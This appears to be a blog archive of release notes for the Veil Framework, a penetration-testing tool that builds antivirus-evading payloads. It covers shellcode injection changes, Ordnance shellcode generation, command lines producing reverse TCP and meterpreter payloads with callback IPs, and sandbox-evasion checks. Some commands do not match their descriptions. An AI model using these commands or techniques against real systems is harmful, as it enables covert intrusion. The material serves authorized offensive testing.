Veil – Framework

Least Privilege – Removing

Unnecessary Memory
Permissions

S
ince Veil’s 1.0 release, shellcode has been injected into memory the same
way (largely across the industry). This is done over the following steps:

1. Allocate memory with RWX (read, write, and execute) permissions to

write shellcode into, and execute it
2. Write the shellcode to the previously allocated memory
3. Create a thread to execute the shellcode
4. Wait for the shellcode to finish running (i.e. you exit Meterpreter or
Beacon) before allowing the stager to exit

However, RWX isn’t entirely “normal” and could potentially be seen as

malicious by antivirus/sandbox engines. After talking with Casey (@subtee)
about this, I decided to change how Veil injects shellcode into memory. As of
Veil’s 3.1 release, almost none of Veil’s “shellcode_inject” stagers will make
use of RWX memory.

Veil 3.1 will now allocate memory with RW permissions, to enable the stager to
write shellcode into the allocated memory. After writing the shellcode to the
allocated memory, the stager will call VirtualProtect to change the memory
permissions from RW to RX. At this point, the stager will continue on to call
CreateThread and WaitForSingleObject as normal. Sample code of this can be
seen below:

Line 3 has changed from Veil 3.0 to 3.1. The final parameter passed into the
VirtualAlloc call is 0x04 vs. 0x40 which specifically sets the memory to be
ReadWrite. In line 5, the stager calls VirtualProtect, which changes the
allocated memory to ReadExecute.

While this tweak is completely under the hood and will likely be transparent to
you for nearly all use cases, hopefully small tweaks like this can help either
now, or in the future.

Don’t hesitate to reach out to provide feedback!

Posted on May 16, 2017 by Christopher Truncer

Veil 3.0 Command Line Usage

M
ost Veil users will utilize Veil’s interactive menu to generate
shellcode and/or Veil payloads. However, I expect while only a
minority of users take advantage of the command line options, that
they do so quite heavily. Therefore, I wanted to ensure that a command line
interface exists for Veil in the event the user wants to script its usage (or for
any other means). With Veil’s 3.0 release, some of the options are the same,
but a few more command line options have been introduced to the tool, which
I hope to explain here.

Ordnance
I’ll address how to use Ordnance within Veil all from the command line, this
should (ideally) be fairly straightforward. In case you haven’t used Ordnance
before, it is a tool that is used to quickly generate shellcode for a variety of
payloads vs. relying on msfvenom to generate the shellcode for you.

1 ./Veil.py -t Ordnance --list-payloads ?

This command tells Veil to list all payloads (–list-payloads) for the tool
Ordnance (-t Ordnance).

1 ./Veil.py -t Ordnance --list-encoders ?

This command tells Veil to list all encoders (–list-encoders) for the tool
Ordnance (-t Ordnance).

1 ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20

? --port 1234

This command specifies to use Ordnance (-t Ordnance) and generate a reverse
tcp payload (–ordnance-payload rev_tcp) which connects back to the ip
192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

1 ./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21

? --port 1235 -e xor

This command specifies to use Ordnance (-t Ordnance) and generates a

reverse http payload which connects back to the ip 192.168.1.21 (–ip
192.168.1.21) on port 1235 (–port 1235). The command then further specifies
that an xor encoder should be applied (-e xor) and the bad characters \x13\x98
should be avoided (-b \\x13\\x98).

Evasion
Let’s go over a couple commands and I’ll explain their components:

1 ./Veil.py -t Evasion --list-payloads ?

This command tells Veil to list all payloads (–list-payloads) for the tool
Evasion (-t Evasion).

1 ./Veil.py -t Evasion -p 33 --ordnance-payload rev_tcp --ip ?192.168.1.3 --port 8675 -o c

This command will actually generate an executable payload. It specifies that

Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For
shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload
rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback
port to 8675 (–port 8675). Finally, name the output file christest (-o
christest).

The main thing to note with this command is that it is using Ordnance for
shellcode generation.

1 ./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp

? --ip 192.168.1.4

This command is fairly similar to the above command, but relies on msfvenom
for generating shellcode. The command states to use Evasion’s (-t Evasion)
payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp
shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4)
and callback port set to 8675 (–port 8675). Finally, it names the output file
chris (-o chris).

Now, what if you want to specify some of the required options for a payload?
Here’s your answer!

1 ./Veil.py -t Evasion -p 34 --ordnance-payload rev_tcp --ip ?192.168.1.5 --port 8677 -o c

This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p
34) and have ordnance generate a reverse tcp payload (–ordnance-payload
rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback
port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and
two checks are being specified. The payload will explicitly check to make sure
the hostname of the system the payload is running on is “thegrid” (-c
hostname=thegrid) and that there are at least two (2) processors on the
system (processors=2). Yes, there is a space between hostname=thegrid and
processors=2.

If you only wanted to check for the hostname, you would remove the
processors=2 from the -c command (the command would now look like -c
hostname=thegrid). Embedding basic checks, such as these, within your
payload(s) can be useful when attempting to enumerate and avoid sandboxes.

1 ./Veil.py --clean ?

Ideally, this one is self-explanatory. If you’ve created multiple payloads and

just want to remove all the compiled output, source code, handler files, and
tracked hashes, run this command and Veil will remove everything.

Hopefully this helps to explain Veil’s command line interface. However, if you
have any questions, please don’t hesitate to reach out over twitter (@Veil-
Framework or @ChrisTruncer) and I’ll be happy to answer any questions. If
you encounter any bugs, feel free to create a Github issue!

Posted on March 21, 2017 by Christopher Truncer

Veil 3.0 Release

T
he Veil Framework is a collection of tools designed for use during
offensive security testing. When the time calls for it, FortyNorth Securi-
ty will use the Veil-Framework to help achieve their objective. The most
commonly used tool is Veil-Evasion, which can turn an arbitrary script or
piece of shellcode into a Windows executable that will evade detections by
common antivirus products.

Veil 2.0 was made publicly available on June 17, 2013, and the core framework
has remained largely unchanged since that date. There have been some
modifications to the framework itself, but these have generally been minor in
nature, with the majority of modifications involving the support of new
programming languages and new payload modules.\

After spending a few years developing in Python, I revisited the Veil codebase
and identified parts of the backend framework that could be developed more
efficiently. Six months later, after refactoring the codebase and adding a large
number of updates, I am happy to present Veil 3.0. The main menu is shown in
Figure 1.

Figure 1: Veil 3 main menu

PYTHON 3

First and foremost, one of the largest overhauls to Veil was updating the
version of Python from Python 2 to Python 3. Python 2 is scheduled to reach
end-of-life (EOL) in 2020, so it did not make much sense to spend time
performing a large update to Veil in a language that will no longer be
supported in three years.

Updating Veil from Python 2 to Python 3 was easily the most time-consuming
part of creating Veil 3. Running the 2to3 tool was not an option; the conversion
process required manual review for essentially all changes to Veil.

One of the major differences when developing Veil in Python 3 vs. Python 2 is
how shellcode is handled and modified. To illustrates this issue, Figure 2
shows a Python 2-based stager that includes encrypted shellcode to be
decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2

While the code in Figure 2 works in Python 2, it will not work in Python 3.
Specifically, in Python 3, the shellcode no longer needs to be string escaped
into a bytearray after decryption. The output of Python 3’s decryption is the
original clear text data in a bytearray, which is immediately consumable by the
rest of the script. Figure 3 shows the Python 3 version of the same decryption
stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3

ORDNANCE

Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to

generate shellcode for Veil payloads. After the initial release of Veil, however,
this caused a problem. The output for msfvenom changed and it completely
broke Veil’s ability to process msfvenom output. After providing a patch to fix
the issue, the Veil team decided that a different solution would be required
instead of relying on a tool outside of our control.

Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a

tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-
Ordnance had two main benefits:

1. The Veil development team is in control of the output, preventing any

future compatibility issues with Veil-Evasion.
2. Shellcode generation is faster with Veil-Ordnance.

Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the
release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0

Veil 3.0 users still have the ability to use msfvenom to generate their shellcode,
but they now also have the option to use Ordnance. Ordnance will be able to
immediately generate shellcode after users provide the IP and Port that the
shellcode should connect to or listen on. Ordnance supports the most popular
payload types:

1. Reverse TCP
2. Reverse HTTP
3. Reverse HTTPS
4. Reverse TCP DNS
5. Reverse TCP All Ports
6. Bind TCP

This gives Veil users multiple options to choose from – they can stick with
msfvenom, or use the new built-in tool, Ordnance.

ADDITIONAL LANGUAGES

While Veil itself is written in Python, the processed payloads and output files
can be in other programming languages. In Veil 3.0, two additional languages
are now supported:

AutoIt3
Lua

Lua payloads are only supported in a script format that must be compiled and
run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3
scripts into Windows executables. Veil 3.0 also supports the seven languages
previously supported in version 2.0:

Python
PowerShell
C
C#
Perl
Ruby
Golang

ENVIRONMENTAL DETECTION

Another new feature in Veil 3.0 is the ability to check information about the
system where the Veil payload is running. This feature is useful for ensuring
that shellcode is only executed on target systems and during the engagement
timeframe. The stager performs these checks and will only inject and execute
the embedded shellcode if the specified conditions are met. Figure 5 shows the
options for this feature.

Figure 5: Environmental detection options

Users can specify one or more of the following checks for Veil stagers:

The domain that the victim machine must be joined to.

A date that the payload expires on.
The hostname of the system running the payload.
The minimum number of processors on the system running the payload.
The required username running the payload.

If specifying more than one check, all checks must be met; otherwise the
stager will cease execution without executing the shellcode.

This covers the major updates with Veil 3.0’s release. If you have any
questions, or encounter an issue, please visit Veil’s Github repository. I hope
that Veil can help further your assessments in the same way that it has helped
us.

Posted on March 20, 2017 by Christopher Truncer

February 2016 V-Day

T
his February we have a few updates to Veil-Evasion. First, we’ve
upgraded the version of PyInstaller that’s used by Veil-Evasion from
pyinstaller 2 to 3.1. One extra feature that this allows is the ability to
encrypt the bytecode that pyinstaller outputs. We’re using this feature by
generating a random key each time Veil-Evasion runs and supplying that when
using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the

python payloads themselves. I’ve identified some areas where different AVs
are trying to flag the python payloads, so this should help with some of the
detection issues. Other possibly signatures have been found as well, but I’m
waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck! #avlol

Posted on February 16, 2016 by Christopher Truncer

A Perl of Hope – January V-

Day 2016

W
elcome to 2016! For the first post/release of the year, I’m happy to
push out a new language! First, I will preface this release by stating
my politically correct opinion that Perl, is not fun. However, that
doesn’t mean it isn’t viable for writing shellcode injectors!

This month, I’m pushing out the standard “flat” shellcode injection template
for perl, which lets you generate perl shellcode injectors. However, if you run
this module, you’re going to see something different than the other modules
Veil-Evasion currently supports, right now there’s no native Windows
compilation within Kali.

As of this release, I have not yet been able to get all the required dependencies
installed within Wine and working. There is a workaround, similar to our
Python Py2Exe output, you can “compile” this perl script into a self-contained
Windows executable by using a Windows VM. While not the most ideal, I
personally am always running a Windows VM in addition to a linux one while
on tests, so I would imagine many of you follow a similar setup.

To generate a Windows executable, there’s a couple steps you’ll need to follow:

a. Generate your perl payload like you would any other Veil-
Evasion payload. Once Veil-Evasion is done, you’re going to
receive the source code output (like normal), but no executable.
b. Move the perl script over to your Windows VM (tested on
Windows XP x32 and Windows 7 x64).
c. Install Perl (x32) on your windows VM (I’ve personally tested
this process using the latest x32 Strawberry Perl build).
d. Once Perl has been installed, open a command prompt and run
“cpan PAR::Packer”
i. This step will take a little while, and will require an internet
connection
e. Navigate to your .pl Veil-Evasion output within a command
prompt and type “pp –gui -o <output_name_here.exe> <veil-
evasion_perl_output.pl>”

You now have your Perl executable!

I realize this isn’t the most ideal setup, but I’d rather we have the ability to
generate these payloads vs. hold back on the release. I’ll continue to look into
finding a way to make this work within Wine, but if anyone wants to help
figure this out, it would definitely be appreciated :)

Anyways, hope that this helps, and happy new year!

Posted on January 15, 2016 by Christopher Truncer

1
 November 2015 V-Day

H
ello!

This month I’ve added in two different modules for our November
2015 V-Day, and both are in relation to our powershell payloads!

First, I built on top of our download and inject HTTP powershell module and
added the ability to download code on the fly from a HTTPS server. This
module will download code from HTTPS protected web servers that are not
using a valid cert (read self-signed).

Next, another auxiliary module was added into Veil-Evasion. We built a

module upon khr0x40sh’s blog post where Veil-Evasion’s
powershell/shellcode_inject/virtual payload was converted into macro code.
This new auxiliary module simply takes the steps documented in the blog post
and automates the process. It will output a text file containing the code that
just needs to be pasted in, and you will then have a valid working macro. The
only option you will need to specify is if you are going to be running the code
on a x86 or x64 system.

We hope that this helps, and we still have plenty more module for future
releases! Let me know in #Veil on freenode if you have any questions!

Posted on November 16, 2015 by Christopher Truncer

September 2015 V-Day

H
ello Everyone!

It’s been a while for a release, I know! Today, we have two smaller
updates. For a payload release, a Ruby payload which has shellcode base64
encoded inside of it (and is decoded at runtime) has been added into Veil-Eva-
sion (thanks to the guys in #ruby on Freenode for some help).

Additionally, Veil-Ordnance has received an update. As it was, Veil-Ordnance

had its modules hardcoded into the application. Ordnance now will
dynamically pick up new payload and encoder modules that are added to it,
making it easier to extend Veil-Ordnance’s functionality!

Finally, th3 payload r3l3as3s hav3 slow3d du3 to work on updating a proj3ct.
Hop3fully w3’ll b3 abl3 to g3t a r3l3as3 soon, but in th3 m3antim3 I’ll do my
b3st to 3nsur3 th3 payloads ar3 r3l3as3d on tim3 3ach V-Day. Hop3 this h3lps,
and f33l fr33 to ask any qu3stions in #Veil on Fr33nod3!

Posted on September 15, 2015 by Christopher Truncer

June 2015 V-Day!

H
ello, and welcome to June’s V-Day!

This month, we received a python payload that was created by Alex

Rymdeko-Harvey (@Killswitch_GUI)! This payload works by having the user
specify a URL that the payload should beacon back to, and how often it should
beacon back. The following is a step-by-step description of how the module
works:

1. The module will create a web page containing a fake wordpress login.
2. The fake page will be md5ed, and the hash will be used to encrypt the
shellcode stored inside the executable.
3. Once the executable has been placed on a machine and run, it will
beacon to the URL specified looking for the web page.
4. Once the web server returns a 200, the executable will md5 the web
page, and attempt to use that hash to decrypt the shellcode, and
execute it in memory.
5. If the page doesn’t return a 200, the executable will sleep until it’s time
to beacon out again.

The nice part about this module is you can choose when your payloads are
allowed to execute. Since no key is stored within the executable, the only time
a payload can inject its shellcode is if the page it is beaconing back to is live.

If you want to read more about this, check out the author’s blog post
here: http://cybersyndicates.com/2015/06/veil-evasion-aes-encrypted-http-
key-request-module/

Thanks, and enjoy!

Posted on June 15, 2015 by Christopher Truncer

On Your Mark, Get Set, Go! –

May V-Day

H
ello all!

This month we’re really happy to be introducing a new language into

the Veil-Framework for bypassing antivirus. So far, we have Python, C, C#,
Powershell, and Ruby. As you probably can guess, we are happy to be adding in
support for Go!

To use Go payloads, the first thing you will need to do is re-run the setup script
that comes bundled with Veil-Evasion. This will auto download Go and
compile from source in a method that allows go to cross-compile and create
Windows executables within Linux.

Once installed, you will see there are currently four different Go payloads
available in the framework. One of the payloads is the traditional shellcode
injection payload, and the others are pure Go meterpreter stagers. The Go
payloads were submitted to us by @b00stfr3ak44, we definitely appreciate
them being sent our way for the community to use!

We’d love to continue to encourage people to create new payloads, in any

language that you think would be fun. If you’d be willing to send a payload
you’ve created to us to include within Veil-Evasion, we’d be happy to do
anything we can to help you along the way.

Thanks!

#avlol

Posted on May 19, 2015 by Christopher Truncer

April V-Day – BDF Updates!

H
ello All!

For our April V-Day, we’ve been working with our friend Josh (@mid-
nite_runr) to get the latest Backdoor Factory updates added in to Veil-
Evasion. There’s been a number of updates to Backdoor Factory lately that had
yet to be added in, but we should have them all included now. One of the most
recent changes includes automatic PE patching when backdooring an
executable. @Midnite_runr has been working on adding that feature in for
some time, so it’s awesome that his hard work has paid off! He’s documented
a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to
@midnite_runr for his awesome work!

Posted on April 17, 2015 by Christopher Truncer

Older posts

Proudly powered by WordPress ~ Theme: Scrawl by WordPress.com.